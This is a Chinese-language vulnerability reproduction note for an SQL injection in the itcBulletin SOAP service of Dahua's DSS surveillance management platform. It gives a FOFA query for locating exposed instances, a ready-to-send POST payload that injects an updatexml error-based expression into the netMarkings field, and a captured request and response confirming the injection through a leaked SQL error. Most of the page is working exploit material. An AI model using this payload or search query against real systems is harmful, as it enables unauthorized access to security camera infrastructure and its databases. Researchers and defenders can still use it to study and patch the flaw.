D1-3大华-DDS数字监控系统-SQL

漏洞描述：

大华综合安防监控管理平台是基于“All-In-One”理念，全新架构的综合监控管理平台，集主控，转发，存储，管理于一身，具有建设成本低、部署运维简易、组合扩展灵活、性能强悍及安全稳定高可靠等特点。较DSS7000系列升级了硬件配置，增强了性能，还提供了更多的软件功能。大华DSS Digital Surveillance System系统itcBulletin存在SQL注入漏洞

网站图片：

网络测绘：

fofa语法：

app="dahua-DSS"

漏洞复现：

payload：

```
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Host: 127.0.0.1
Content-Length: 335
Connection: close

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
  <s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
        (updatexml(1,concat(0x7e,md5(1),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
```

效果图:

Raw | Params | Headers | Hex | XML | Chinese

```
POST /portal/services/itcBulletin?wsdl HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows
NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: [redacted]
Content-Length: 327
Content-Type: application/x-www-form-urlencoded

<s11:Envelope
xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
  <s11:Body>
    <ns1:deleteBulletin
xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
        (updatexml(1,concat(0x7e,md5(1),0x7e),1))) and
(1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
```

Raw | Headers | Hex | XML | Chinese

```
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=ISO-8859-1
Content-Length: 573
Date: Fri, 29 Mar 2024 15:39:37 GMT
Connection: close

<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/
oap:Body><soap:Fault><faultcode>soap:Server</faultco
faultstring>PreparedStatementCallback; uncategori
SQLException for SQL [select t.* from C_BULLETIN
where t.NETMARKING in (
        (updatexml(1,concat(0x7e,md5(1),0x7e),1)
and (1=1
      ) ]; SQL state [HY000]; error code [1105];
XPATH syntax error:
'~c4ca4238a0b923820dcc509a6f75849'; nested
exception is java.sql.SQLException: XPATH syntax
error:
'~c4ca4238a0b923820dcc509a6f75849'</faultstring></
:Fault></soap:Body></soap:Envelope>
```